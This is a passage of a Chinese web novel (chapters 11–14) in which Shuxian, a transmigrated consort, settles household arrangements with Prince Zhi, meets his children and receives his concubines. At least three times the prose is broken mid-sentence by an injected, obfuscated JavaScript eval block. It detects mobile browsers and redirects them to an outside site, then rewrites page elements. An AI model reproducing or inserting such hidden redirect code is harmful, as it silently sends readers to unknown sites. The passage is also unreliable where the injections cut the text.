淑娴愣了愣,万没想到这位爷居然把责任全都揽到了自己身上,她从这件事情里的‘从犯’变成了彻底的受害者。 淑娴亲自夹了块虾仁放到直郡王面前的碟子里。 “多谢王爷,您费心了。” 她这一关算是过了吧,从此再不必提怀孕生子一事,也不必再担心过不了公婆那一关。 直郡王看着张氏脸上的笑意,怎么看都不像是强颜欢笑的样子,倒像是真的欢喜。 可有什么好欢喜的呢。 眼下是不用违背誓言了,可十三年不能生子,几乎就断绝了张氏这一生的子女缘。 就算张氏昨天没反应过来,现在难道还没想明白吗。 还是年少不知愁,过分乐观了,以为即便是十三年后,想怀的时候也一样可以怀。 淑娴放下筷子,认真承诺道: “您放心,臣妾日后一定承担起做嫡母和正室的责任,绝不做昧良心的事情。” 她安了心,希望王爷也安心。 直郡王拿桌上的果子饮当酒喝,一口闷下去。 “你的话,爷记下了。” 是不是言行一致,还要再看。 事实上,直到现在,他也依旧觉得张氏日后会后悔,后悔发下那样的誓言,而且这个日后不会太远。 “从宫里回来后,臣妾已经见过妹妹们和府里各处的下人了,还答应了几位妹妹在四座院子里各设一处小厨房,食材方面还是从她们份例里拨,想拨多少拨多少。”淑娴汇报道。 她可没有亏待王爷的妾室。 直郡王一口一杯甜到发腻的果子饮,抬眼撇一下张氏,依旧是那张笑盈盈好似不知愁苦为何物的脸。 不知道张大人和张夫人是如何教养女儿的,还是中等汉军旗人家的规矩就是这样松散,以至于张氏这样的……另类,同时给几个格格都设小厨房。 见王爷没反对,淑娴接着道:“臣妾还没见大格格她们,但是对如何教养几个孩子已经有些想法了,臣妾也没什么经验,还请王爷指教。” “臣妾是这么想的,身体是一切的本钱,几位格格将来总是要嫁人的,怀孕生子对所有女子来说都不容易,是一道难过的鬼门关,而身体越康健,这其中的风险也就会越小。 咱们不能等到格格们嫁为人妇了再去督促她们强身健体,还是得从小抓起。 不说拉弓射箭,至少打打太极,踢踢毽子什么的,所以臣妾认为,后院同样也需要建一个演武场。” 直郡王点了点头,说的都在理,身体是一切的本钱,而且他有四个女儿,很难全部留京,甚至能留在京城的才是少数,抚蒙是皇女和宗女的责任。 从前,先福晋还活着的时候,女儿们的教养都是她来负责,后来先福晋没了,女儿身边有先福晋留下的两个嬷嬷,那会儿又住在宫里,额娘也能照看到。 如今交给张氏,他不放心,在昨天之前,他是对张氏的人品存疑,毕竟在此之前素未谋面,并不了解,而现在,他担心张氏把他女儿教歪了。 “强身健体可以,但是不许跟她们说什么怀孕生子是鬼门关这样的话,越说便越容易害怕,将来就会越紧张,为人处事之道你也别教,管家之道……暂时别教。” 他得看看再说,他现在不确定张氏是不是有管家的能力。 “好。”淑娴答应,她还省事儿了,“我再跟您说说我对教养大阿哥的想法,大阿哥年纪还小,如今教他读书认字还太早了,但他是王府未来的世子,对他的教育绝对不能放松。” “所以我琢磨着,在这个阶段可以教大阿哥一些生活常识,培养他独立思考和生活的能力。 比如,比如在王府开几块农田,种菜种庄稼,教大阿哥识得五谷,识得常见的蔬菜。 比如养几只小鸡,从鸡崽子开始养起,它们危险性小,不会啄伤人,在这个过程中又可以培养大阿哥的耐心和责任感。 再比如,咱们偶尔陪大阿哥玩玩过家家这种游戏,沉浸式过家家,我们扮作农夫农妇,亲自去体验耕种之乐,或者扮成渔民去抓鱼,扮成商人去贩卖东西。 既可以陪大阿哥玩耍,又能让大阿哥体会民间的疾苦和欢乐,增长见识,学习知识,培养性格。 您觉得呢?” “爷怎么觉得是你想耕田捕鱼养鸡,玩什么沉浸式过家家。”直郡王一针见血的道,他看福晋说这话的时候眼睛都亮晶晶的。 “您就说合不合适吧。” “如果爷说不合适呢?” “您觉得哪儿不合适?咱们可以再探讨。” “哪儿都不合适,太脏太乱太危险,也没什么用处。” 他的儿女,何须去耕田捕鱼养鸡,正经东西还学不完呢。 “怎么会呢,勤换衣勤洗手,能保证一定的卫生,而且一切都是在王府进行,连门都不出,配合的也都是府里的人,绝不会出什么乱子。 再者说了,大阿哥将来会继承您的爵位,会入朝做官,多了解民间的疾苦和辛劳,对他将来为朝廷和百姓做事都是有好处的。 您总不会希望大阿哥将来长成一个四肢不勤、五谷不分、六畜不认的少爷吧。” 直郡王看着福晋,认真道:“要识得五谷六畜还不容易,何须亲自动手,大格格她们是女儿家,本就要娇养,大阿哥 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15450304|169463||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 年纪小身子弱,就更要远离这些脏乱之物了。” 耕田捕鱼这些事情他是没有正经做过,但也不是一点经验都没有,他也拉过几回犁耙,脚踩在泥土地里,也和侍卫们在河边拉过渔网,腥臭味满天,也曾见过被圈养起来的鸡鸭,满地的鸡屎鸭屎,臭不可闻。 他的女儿不需要去接触这些,儿子……至少眼下不需要接触这些。 “如果,臣妾是说如果,天有不测风云,人也有旦夕祸福。如果将来有一日您庇护不了孩子们了,现在让格格们和大阿哥学会吃苦,将来……起码有吃苦的能力,有耐熬耐打的精神。” 熬呗,人活着才有希望。 直郡王将来是没什么希望被放出来了,但几位格格和弘昱不一样,大格格她们会嫁到夫家,而弘昱等熬到雍正年,新皇总会施恩,便是放出来做一个闲散宗室,那也是好日子。 当然了,不被关进去是最好的。 可惜处在直郡王这个位置上,想退下来太难了,更别说对方未必想退下来。 “我这个人一贯是把事情先想到最坏处,先做好最坏的准备。” “然后呢?” 直郡王今日没有吃酒,他喝的是甜到发腻的果子饮,但又像是醉了一般,向福晋追问着。 于他而言,最坏的结果是被杀,死了便一了百了,或者是被流放,被流放到盛京,流放到海外荒芜之地,还是被圈禁起来,做个阶下囚。 他身后之人也会都跟着被连累,死去,或是失去自由,或是过上食不饱衣不暖的日子。 这么想着,他又觉得自己应该对面前的张氏和身边的所有人都宽容些,这些人会被他连累,会因他受苦,甚至失去性命。 做好最坏的准备,然后呢,便能安心等待结果降临吗。 “然后就该吃吃该睡睡,不必过分苛责自己、压榨自己、给自己压力。” 这也是她经历了上辈子的猝死后才想明白的,猝死之前,她害怕老无所依,害怕哪天得了重病没钱医治,害怕意外降临,而她无力自保,所以她拼了命的上班加班挣钱,把自己变成了一台机器。 其实在猝死之前的那段时间,她的精神就已经快要崩溃了,压力大到每夜失眠,整个人变得易怒,经常性的头疼、眩晕,夜里甚至有时候能感受到心脏明显的不舒服。 身体已经向她发出了信号,但她自己并没有想到,她会走的这么早这么突然,辛苦挣来的血汗钱都成了银行卡上的数字,好不容易买下来的房和车,也都伴随着死亡成了幻影。 就像小时候在海滩上用沙子精心搭造出来一座城堡,还没来得及细细欣赏,就被海浪冲塌了。 淑娴看了一眼直郡王眼下的青黑,劝解道:“人得学会放宽心,有些事情不可强求。” 该放手的时候就要放手,何必去苦求九五至尊之位呢,那位置只有一个,退而求其次做个王爷不也很好。 当然了,劝别人容易劝自己难,就像她,现在不也在竭力为将来做准备。 “就算要强求,尽人事,听天命就是了,万不能给自己太大的压力,该放松的时候就得放松,人生还长。” 趁着能享受的时候抓紧享受,自由时光就剩这么十年了,能留给她做准备的时间也只有这十年。 12. 第 12 章 直郡王听着福晋意有所指的话,空了的杯子在手中转来转去。 他与太子相争也不是什么秘事,不说天下人皆知,官宦子弟甚少有不知道的。 但连内宅女子都看出他是在强求了。 “福晋说的对,从前是爷强求了。”直郡王顺着福晋的话道。 要想骗过皇阿玛,就得做出个样子来。 “啊?!”淑娴瞪大了眼睛,一时怀疑是不是幻听。 直郡王用手撑着下巴,悠悠的叹了口气。 “爷听福晋的,日后学着放宽心,万事不强求,轻松度日。” 淑娴身上的鸡皮疙瘩掉一地。 “您……好好说话。” 别这么吓人,什么叫听她的,她何德何能,她只是想为日后的牢狱之灾提前做个准备,可没奢望过能让这位王爷听她的。 一个堂堂的皇长子,能跟太子龙争虎斗二三十年的人,凭什么听她的,她又不是妲己褒姒一般的人物,她只是一个想活命想活好的普通人。 直郡王笑笑,道:“福晋说的有理,爷自然听福晋的。 这么着吧,捕鱼养鸡之事先不急,等到来年春天再说,耕种倒是现在就可以准备了,还有你说的演武场。 搬出宫时,爷领了二十三万两的安家银子,如今有两万两放在公中的账上,爷再给你一万两,你看着置办吧。” “剩下二十万两,爷是给大格格她们预备做嫁妆的,你就别指望了。”直郡王坦率道,“除了这三万两银子,爷每年的年俸也会放到公中,你尽管取用。” 底下官员和门下奴才的三节五寿就不往公中放了,直接放在前院,预备给宫中送礼的时候从中挑选,免得放到后院去,都被福晋给霍霍了。 三万两!还有日后每年的年俸! 淑娴瞬间就不纠结王爷为何刚刚突然间好说话到像脑子进了水一样,而是把注意力都放到了三万两白银和日后的年俸上。 “王爷说的年俸是只有俸银吗,还是也包括了禄米?” 这可含糊不得。 郡王每年的俸银是五千两,而禄米则是五千斛,按照京城的米价,上好的五千斛禄米价值约在两万到三万两银子之间,远在俸银之上。 直郡王哭笑不得,张氏还真是……愣呐,居然纠结钱财去了。 “既然说是年俸,当然也包括禄米。” “王爷你可真是个敞亮人。”淑娴赞道,“您放心,臣妾绝对把这些钱都花到刀刃上,不会浪费的。” 保管王爷以后被圈起来的时候,有的吃有的喝也有的玩。 “不过,耕种一事臣妾也没有经验,还需要您找几个经验丰富的农户来帮着规划规划。” 直郡王点头。 淑娴继续大着胆子提要求:“您不妨也参与进来,正好也能借此机会多陪陪几个孩子。” 把在朝中斗心眼的功夫省下来下地干活,说不定还能晚关几年。 直郡王也点头,且面带鼓励的看着福晋。 淑娴继续道:“择日不如撞日,正好是新婚之喜,王爷不如就趁此机会歇一歇,跟朝廷告几天的假,就算是放婚假了。” 直郡王这回没有立即点头,他是准备‘退让’,但朝事怎可放松,总不能假戏真做吧。 “王爷若是差事繁忙,那就算了。”淑娴不强求,哪能指望一个野心勃勃之人主动放婚假,“等您有空——” “不。”直郡王打断福晋的话,“爷是应该歇几日了,就听福晋的,爷待会儿就写折子告假几日,福晋以为几日合适?” “既是婚假,那得一个月吧。” 度蜜月嘛。 王爷敢问,她自然敢说,也没指望王爷会同意,但万万没想到这位爷还真就点了头。 如此的好说话,淑娴疑心王爷可能是在补偿她,补偿她昨日立下的重誓,补偿她未来不会再生儿育女,毕竟对古人来讲,生产固然是道鬼门关,可多子亦是多福。 她知道王爷是误会了,她昨日发誓并不是因为王爷的话,而是顺水推舟,借此来实现她自己的目的,但她也并没有要解释的打算。 这没什么不好的,于她有利,从长远看,于直郡王和直郡王的孩子妾室们亦有利,乃皆大欢喜之事。 直到用完午膳,两个人都未再开口,淑娴起身开门,让外头的人进来收拾桌子。 直郡王则是让赵德福去把几个孩子叫来,他和福晋在次间等着。 不多时,淑娴便见到了四个旗装小姑娘。 两个大的个头几乎差不多,都是一米五左右的样子。 剩下两个小的,个子也差不多高,头顶大概到两个姐姐肩膀的位置。 大格格和二格格仅差了一岁,三格格和四格格也只差了一岁,四个小姑娘里,最大的十岁,最小的六岁。 不过看几个人站的位置,也能清晰的分辨出哪个是大格格,哪个是二格格、三格格和四格格。 大格格站在最前面,一身红色旗袍,落落大方。 二格格则是一袭绿衣,小脸奶呼呼的,还未褪去婴儿肥,发间的蝴蝶簪子随着主人轻轻晃动。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15450305|169463||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 三格格是几个小姑娘里最随爹的,五官轮廓和眼睛都很像直郡王,连肤色也是,都是黄黑皮。 四格格则是个白嫩嫩的糯米团子,穿着一身嫩黄色,分外可爱。 最后进来的大阿哥,是被嬷嬷抱着进来的,小家伙也和四格格一样,五官随爹,不过皮肤过于白嫩,这就不随直郡王了。 “女儿请嫡额娘安。” 端坐在上方的淑娴忙抬了抬手:“快起来吧,都坐,我给你们备了礼物,看看喜不喜欢。” 衣服和鞋袜都是额娘选的料子,嫂嫂帮忙裁剪,她给缝上的。 给格格的长命锁和给大阿哥的金如意都是现如今比较常见的样式,金灿灿的,很漂亮,将来若是有急用,掰下来一块就能当钱花。 “多谢嫡额娘,我和妹妹们都很喜欢。”大格格看过礼物后站起身来,轻声细语的道。 淑娴腰背挺得笔直,下巴微收,唇角上扬,努力作出和气模样。 她头一次给人当娘,当后娘,还是五个小娃娃的后娘,哪怕有这个心理准备,也还挺麻的。 “坐,别客气,日后就是一家人了,私底下不用这么多礼节。”淑娴把目光投向直郡王。 您倒是也说几句。 “从今日起,弘昱抱到正院来,由福晋亲自抚养。”这是他昨晚便允诺福晋的,“你们姐妹四个日后除了请安外,也可常来正院,跟着福晋学习,学……” 直郡王看着纤瘦柔弱的几个女儿,两力的弓都未必能拉开,要直接照搬他幼时的课程恐怕不行,一开始还得是像福晋说的那样,打打太极,踢踢毽子。 “学学宫外的小丫头都玩什么,踢毽子、过家家、放风筝,阿玛有空的时候,也带你们出去逛逛。 以前都是住在宫里,没机会出去玩,往后就方便了。” 都还是孩子,听见玩,哪有不高兴的,大格格也小小的松了口气,弟弟在嫡额娘院里养着,她们姐妹白日过来,也能多看顾弟弟。 淑娴这会儿已经跟大阿哥对上眼了,小家伙站在地上,小手被嬷嬷牵着,黑溜溜的眼珠像……小狗的眼睛。 狗狗小时候的眼睛便澄澈黑亮,黑眼珠几乎占满了眼眶,看起来懵懂可爱。 有一说一,直郡王的五官端正,先福晋也肯定是位美人,所生的孩子颜值都不低,几个孩子身上又都收拾的干净,穿得鲜亮合身,让人很难不生出好感。 不过,大阿哥还是太小了,又细胳膊细腿的,和印象中小时候胖乎乎的小弟简直要差出一半来,她不太敢上手抱。 13. 第 13 章 交代完几个女儿后,直郡王走上前一把将儿子抱起来。 满人讲究‘抱孙不抱子’,但直郡王不在意这些,几个女儿小的时候他也都抱过,而且是没少抱。 明明他那时候忙的脚不沾地,见孩子的时间很少很少,少到他现在其实都想不起来四个女儿还是婴儿时的模样。 但在四个女儿五岁前,他几乎每次见面都会抱一抱孩子,就像是补偿一样。 他在宫外长到六岁才回宫,在那之前印象里从没有见过阿玛,也没有见过额娘。 回宫后直接住到阿哥所,那时候弟弟们都还小,阿哥所里面只住了他一个。 他也是回宫后才知道,太子一直住在皇阿玛的乾清宫里,被皇阿玛抱着哄都是寻常事,听说皇阿玛还亲自给太子换过尿布。 再后来,八弟出生了,满月就被抱到额娘身边,一直长到六岁,彼时良嫔还是良贵人,就住在延禧宫的后殿。 尚书房的功课紧,一年到头加起来也就四五天的假期,他回延禧宫的次数并不多,有好几次他去给额娘请安,都正好碰到额娘和良贵人在哄八弟翻身、走路、吃东西。 宫里的规矩就是这样,不是皇阿玛定的,额娘说了也不算。 他只是在有了大格格之后,才突然想起这些他以为自己不怎么在意的事情,然后把自己没有的补偿给孩子。 弘昱抱起来轻飘飘的,脸上都没二两肉,又是个极乖巧的性子,听袁嬷嬷说,这小子打生下来后就很少哭,不像他,小时候被抱着晃着都要哼哼唧唧的哭鼻子。 “嬷嬷回去收拾东西吧,今儿就搬过来,你和大阿哥一起搬,往后大阿哥玩什么学什么,都听福晋的。” 日常的饮食起居还是要袁嬷嬷负责,福晋心肠不坏,但既没有照顾孩子的经验,性子又太跳脱了,还没有大格格稳重。 淑娴在一旁补充道:“除了嬷嬷,大阿哥身边常用的人也都搬到正院来。” 反正院子够大,大阿哥身边的人又是通过重重筛选才定下来的,足够清白可信,总好过她这边重新再安排人。 至于亲自照顾大阿哥,还是算了吧,她远不如这些内务府出身的保姆嬷嬷乳母嬷嬷们专业。 还是让她带着格格阿哥们沉浸式过家家吧,先给大阿哥布置房间。 淑娴拉了几个格格一块,大阿哥也被直郡王抱着一同跟上,从床单被褥的颜色花纹,到百宝架上的摆件,再到用来熏香的水果品种,都是几个人商量着来。 “阿弟,把这张小方桌换成大圆桌好不好?我们来陪你玩的时候,可以围着大圆桌坐一圈。”三格格兴冲冲地指着外间的小方桌道。 弘昱缓慢的点了点头。 “房间里还要摆上花,阿弟放荷花好不好?” “好。” 弘昱就没有不答应的,大姐姐提议用绿色的床帐,他说好,二姐姐说用橘子做熏香最好闻,他点头,四姐姐说要搬来跟他同住,他也答应。 淑娴也不知道两岁多的小娃娃能听懂多少话,但这孩子实在太乖了,便忍不住捏了捏对方的小手。 弘昱扭过头来,瞪圆了眼睛看着捏他手的人。 “好小一只。”淑娴小声感慨着,“太可爱了。” 直郡王:“……” 气氛正好,孩子们又都在,他实在不想训斥福晋,可听听福晋嘴巴里吐出来都是些什么话,爷的儿子论只吗,又不是小猫小狗。 小娃娃乖乖巧巧,不哭也不闹,还特别好哄,稍微做个鬼脸,就能被逗得笑起来。 淑娴正美着呢,丝毫没注意到直郡王瞪向她的眼神,以至于晚上被教育的时候还有点没反应过来。 “臣妾什么时候口无遮拦了,臣妾在宫里都没说几句话。” 便是妯娌闲谈的时候,她也有注意分寸,绝没有说什么不该说的。 当然,午膳那会儿,她跟直郡王说的是有点儿多,也有点出格了,但那时候屋里就她们两个人,她的声量又不高,不会有第三个人听到的。 就她们俩这种几乎已经被绑死的关系,还有什么不能说的,她都没直接开口劝说王爷别争皇位了,还不够谨言慎行吗。 “爷没说在宫里的时候,爷说的是你在孩子们面前,说话要得体,用词要文雅,不要随意用词。” “比如说?”淑娴还是没能想起来。 “比如说,孩子就不能论‘只’。”直郡王捏着鼻子道,“听说福晋是在江南长大的,康熙二十八年的时候,爷也曾伴驾去过南边,那里比北边文气更盛,各种各样的民间规矩更多,未出阁的女子甚至被要求大门不出二门不迈,爷看福晋倒有些怀疑当年见闻是梦一场了。” 福晋的阿玛张浩尚虽是武将,但只是地方上的绿营兵,没打过仗,而论练兵,普遍来看,八旗兵是要胜于绿营兵的,而在绿营兵中,驻守京师的绿营兵又要胜于地方上的绿营兵,地方上的绿营兵也分两部分,边境沿海的绿营兵要略胜于其他地方。 张浩尚是徐州镇总兵官,而徐州只是江苏省下辖六镇之一,地处内陆,并不沿海。 徐州镇绿营兵的实力有多垫底,他老丈人张浩尚这个武将的水分就有多大。 一个没在战场上见过血的普通将领,总不能比那些驰骋沙场的名将更不拘一格吧,三弟妹、四弟妹都出自武将世家,其阿玛皆战功累累,却也不曾有过规矩不好、性子跳脱的传言,他这些年听到的都是美名。 皇子福晋中唯一被诟病的大概只有八弟妹了,他都不止一次的听说过八福晋嚣张跋扈的传言。 万不想,日后被诟病的皇子福晋里再多一个直郡王福晋。 八弟妹虽然姓郭络罗,但却是在安郡王府长大的,那一支的宗室确实是战功赫赫,杖节把钺,安亲王岳乐称得上是真正的大将军王,岳乐有二十子,岳乐死后,儿子们当中光郡王爵位的就有三个。 在这样的家庭长大,还早早就被定为皇子福晋,也难怪八福晋会养成跋扈嚣张的性子。 可张家只是汉军旗的中等人家,福晋又长在礼教森严的江南,他实在很不能理解,张浩尚夫妇为何会如此教养女儿,就不担心日 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15450306|169463||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 后给家里惹祸吗。 直郡王是这么想的,也就这么问了,大抵也是受到福晋的影响。 他虽封号为‘直’,这个字有公正、正直之意,也有坦率之意,他私以为皇阿玛为他定这个封号取的是后者。 但论坦率,他自叹弗如,不及福晋远矣。 淑娴一如既往的坦率,道:“王爷也知道,往上数三代,臣妾家里都没出过一位能臣干吏,亦无显赫之亲,臣妾阿玛也只是个手下只有两千人的武官。 臣妾呢,一没有才名,二没有绝世之姿,三性子也不算讨喜,臣妾全家都没有想过能跟皇家结亲,甚至连宗室都没想过,都以为选秀只是一轮游,然后便自行婚嫁,也嫁不进权贵之家。” 她们都没想过能进复选,更不要说被指婚了。 直郡王手撑着额头,忍俊不禁,合着福晋和张家都这么没志气,选秀想的都是一轮游。 “福晋也不必如此自谦,张大人近十年的考评都是一等,可见他为官恪尽职守、兢兢业业,是个好官,福晋也……非庸人。” 虽不貌美,性子又跳脱,甚至说话有些口无遮拦,但胜在心善,人又直爽到有些傻里傻气。 和这样的人相处,都不用费脑子。 至于张浩尚张大人的考评,的确连续三次都是一等,他亲自去吏部看到的。 朝廷对外地官员的考核被称为大计,每三年一次,从守、政、才、年四个方面进行考核。 张浩尚接连三次的考评结果都是——守清、政勤、才长、青壮。 若是朝中有人,早该升了。 若是八旗兵,也该升了。 若是文官而非武官,位置也早就往上挪了。 但在绿营体系当中做武官,朝中又无人,总兵官到提督这一步就难迈了,青壮年时期迈不过去,以后年龄增长,便难以再被评为一等,就更没可能升提督了。 淑娴这些年可算是听到有贵人说句公道话了,阿玛在总兵官的位置上已经待了快四任了,为官勤勉,手下士兵亦是训练有素,奈何上头无人赏识,次次一等,也挪不了窝。 早先,她还是盼望着阿玛升官的,勤勉能干,又熬了那么多年的资历,早该升了,凭什么不升。 但自打她被指婚给直郡王之后,反倒庆幸阿玛只是个徐州镇的总兵官了,远离京城,手下又没多少兵,夺嫡这种大事卷不到阿玛身上来,就算日后直郡王被革爵圈禁,阿玛应该也不会被直郡王的政敌放在眼里。 “臣妾代阿玛谢爷,听见您这样的评价,我想阿玛他肯定会很高兴的。” 阿玛常用‘是金子总会发光’这句话来勉励自己,但世间不如意之事八九十,从前阿玛是无人赏识,现在好不容易有了一个,却是个注定夺嫡失败的皇子。 直郡王此刻却是已经在心里打定了主意,自己岳丈,如果是个提不起来的阿斗也就算了,次次考评一等的武官,勤勉总是有的,有机会还是要帮一帮。 这本是应有之义,就不必告知福晋了,官场上的事情,说了福晋也未必明白。 14. 第 14 章 翌日,天还未大亮,直郡王便如往常一样在睡梦中醒来。 习惯性的起身,还未从床榻上下来,看到一旁酣睡着的福晋,方才想起,昨天下午他已经写了请假的折子,而且已经递上去了 如福晋所说,他在折子上请了整整一个月的假。 如果皇阿玛应允的话,整个夏季最炎热的一个月,他都将在府里悠闲度过。 已经坐起来的直郡王又躺了回去,闭上眼睛,试图再睡一觉,奈何翻来覆去就是睡不着,只能穿衣起床,迎着朝霞,去演武场活动拳脚。 另一边,淑娴在睡梦中被叫醒。 “几时了?” “卯正。”山竹回答道。 才早上六点,淑娴迷迷瞪瞪睁开眼,往身侧看了看,王爷已经不在了。 “王爷昨天不是已经向朝廷告假了吗,怎么还起这么早?” 折腾得她也要早起。 而且王爷昨日自己也说了,最近这几日不算在他要请的假期里,皇子大婚都会有三天的婚假,直到三朝回门之后,才回朝继续当差的。 今儿才是大婚的第二日,也就是说,即便皇上没有同意王爷的请假折子,也不妨碍王爷今天和明天在家休息。 “不是王爷。”山竹轻声解释道,“王爷大半个时辰前便已经去了前院,并未惊动福晋,是格格们来给您请安了。” 格格们?哪个格格们?是姐妹,还是女儿? 反正都是自己人。 “拿件薄纱袍来。” 这么热的天,能少穿就少穿些,既是见自家人,便不必像昨日进宫时那样穿的层层叠叠了,不必穿花盆底,不必戴旗头,简单梳妆即可。 “福晋这样穿戴会不会太素了?”赵嬷嬷迟疑着问道。 青色的实地纱长袍,上面没有一丝花纹,颜色也偏沉重老气。 头发只用两根木簪子固定,再无旁的发饰,耳饰和镯子、项圈更是一样都没有。 脸上涂了面脂,描了眉毛,点了口脂,可胭脂水粉呢,而且那口脂的颜色未免也太淡了些,说红不红,说粉不粉的,涂在唇上不甚明显。 她年纪大了,不了解年轻人的喜好,前些年又陪夫人一直待在徐州,不知京城现在时兴什么。 难道这便是京城如今年轻人喜欢的打扮?如此的素净甚至寒酸。 “不是见外人,所以我让她们帮我收拾得家常些。”淑娴解释道。 赵嬷嬷面带凝重的点了点头,福晋……从前竟不知福晋是这样天真的性子,怎么还把妾室当自家人了,嫡福晋最应该提防的便是这样的‘自家人’。 而且她方才去收拾床铺,今日的床铺和昨日一样干净,新婚之夜还能说是王爷醉得不省人事,那昨晚呢,昨晚王爷可是滴酒未沾。 但她看福晋并没有愁苦担忧之色,而王爷如果真的厌弃福晋,那昨晚又何必留宿正院呢,还命人将大阿哥抱到正院给福晋养。 赵嬷嬷只能先按下心中忧思,在内务府人面前先将此事遮掩过去。 整个正院,除了她和石榴、小桃、葡萄、山竹五个人外,其余全是内务府出身。 眼下刚接触,还摸不清性格,也不知可靠不可靠,会不会有旁人的探子钉子,王爷和福晋尚未圆房之事还是要瞒着这些人。 “妾/奴才给福晋请安。” “都坐吧。” 也怪她,昨日初见时忘了交代她这儿的规矩。 “日后每个月只有初一需要过来请安,剩下那二十九天不需要。 因为我每个月的初一和十五需要进宫向太后和娘娘请安,那么初一这天,诸位来请安的时候就需要等我从宫中回来,差不多巳时,巳时来正院即可。” 早上九点钟请安,然后开个早会,差不多就到午膳时间了,然后一起吃顿饭,有什么会上不好说的,吃饭的时候交流交流。 一个月一次足矣。 众人齐齐起身应下,没有不乐意的。 “昨日你们回去之后,可有想好怎么安排小厨房,具体的位置、需要的物品和人手,都想好了吗?” 淑娴主动cue流程,免得大家不好意思开口。 吴雅格格率先起身,从身后宫女手中拿过一卷轴。 “这是妾昨日回去后准备的图纸,上面有臣妾对春风院的一些具体规划,还请福晋过目。” 淑娴直接走过去将画轴拿来展开,想不到格格们之中还有位擅画的,不错不错,很实用的技能,以后她要给院子画改造图,也可以拜托吴雅格格。 淑娴笑着展开,笑着……看向吴雅格格。 吴雅格格的画技跟她竟是不分伯仲,真是‘好’一幅规划图。 “让福晋见笑了。”吴雅格格倒没觉得不好意思,她只说画了图,没说过自己擅画,而且她本就不是才女。 “妾想把这五间连在一起的屋子作为小厨房,其中两间用来放火灶,一间用来对食材进行简单的处理,两间用来存储食材。 妾把这里面每一间屋子的用途全都标上了,福晋您看,这三间是妾的卧房,这两间是妾的书房,这一间是妾用来做针线活的地方,这几间是妾的库房…… 院子里的空地,妾也有些想法,妾画的这几个圆圈代表树坑,想在这几个树坑里种上海棠树,这个打了x的地方代表井,妾想在院子里打一口水井,既然已经有小厨房了,有口水井也会更方便。” 画的不好看没关系,重点是她想画出来的东西都画上了,而且标上了。 春风院总共就二十来间屋子,她的小厨房、卧房、库房书房、针线房全都占上了,连院子里栽的树都是她选的。 将来府里进新人,福晋应该就不会把人安置到春风院了吧,院里没位置了。 她虽然不喜欢这院子的名字,但‘春风、夏雨、秋水、冬雪’这四个院子的名字每一个都没好到哪里去。 都很敷衍,就像这四个院子一样,一样的大小,一样间数的屋子,一样的布置格局。 她之所以会跟关格格抢这处院子,只是因为在‘春夏秋冬’里,‘春’排在最前面。 她好歹也是爷的第一个格格,纵使不得宠,也是最有资历的一个。 更何况,不得宠的也不只是她,即便是关格格又有哪里像个宠妾了,还不是矮个子里拔将军。 淑娴点头,她大抵明白吴雅格格的意思了,一个小厨房就占五间屋子,显然是想把地方占住。 这没什么不好的,算是防患于未然。 虽然府里现在已经有五位格格和三名侍妾了,但未来十年,这府里可能还是会进新人。 毕竟八旗每三年一次选秀,内务府一年一次选秀,指不定哪一次康熙和惠妃就想给儿子指个贴心人了。 或是王爷自己寻新人进府,可能是官员门人孝敬,也可能是偶遇…… 总之,府里的老人的确应该做好新人进府的准备,也包括她。 “您这是同意妾的安排了?”吴雅格格小心问道,这可关乎她的后半生。 她比王爷还大两岁,如果能和王爷活到相同的岁数,她肯定会走在王爷前面。 若福晋此时应了她,这春风院便是她的养老之地了,她一个人的养老之地。 只有王爷不小心死在她前面,府里有了新王爷,到时候她不想搬也得搬了。 “同意。”淑娴爽快道,府里尚有空着的院子,便是再来三五个新人,一人一个院子也能安排得开。 全都占满才好,等将来王爷革爵的时候,希望康熙能看见儿子王府已经完全住满的情况下,不要拆房子,不要依着规矩把郡王府减成皇子府。 “妾谢福晋大恩。”吴雅格格喜极而泣,用手捂住嘴。 后半辈子能够独占一处院子,有自己的小厨房,掌管自己的份例,便是王爷不待见她又如何,她又不缺银子,京城各个王府贝勒府里得宠的格格,生活也不过就是这般了。 钱格格本来没想那么多的,但见吴雅格格如此,也明白过来,慌忙起身。 “妾不擅画,没有准备图纸,但妾昨日回去后也有一直思考您的话,您昨日问妾对院子有什么规划,妾除了小厨房外,能否再设一处织布房。 不瞒您说,妾的阿玛在京中织染局办差,妾家中上至祖母下到小妹,都因此学过织染。” 手艺肯定不比织染局的工匠,但能拿得出手,比市面上流通的大多数布料都是不差的。 如此,她既可以像吴雅格格一样把院子占住,又可以省下人情走礼的开销。 日后王爷、福晋还有府里的几位小主子、姐妹们生辰礼、过节时,她便不用绞尽脑汁的凑礼了,还有什么比送自己亲手织染的布料更有心意的。 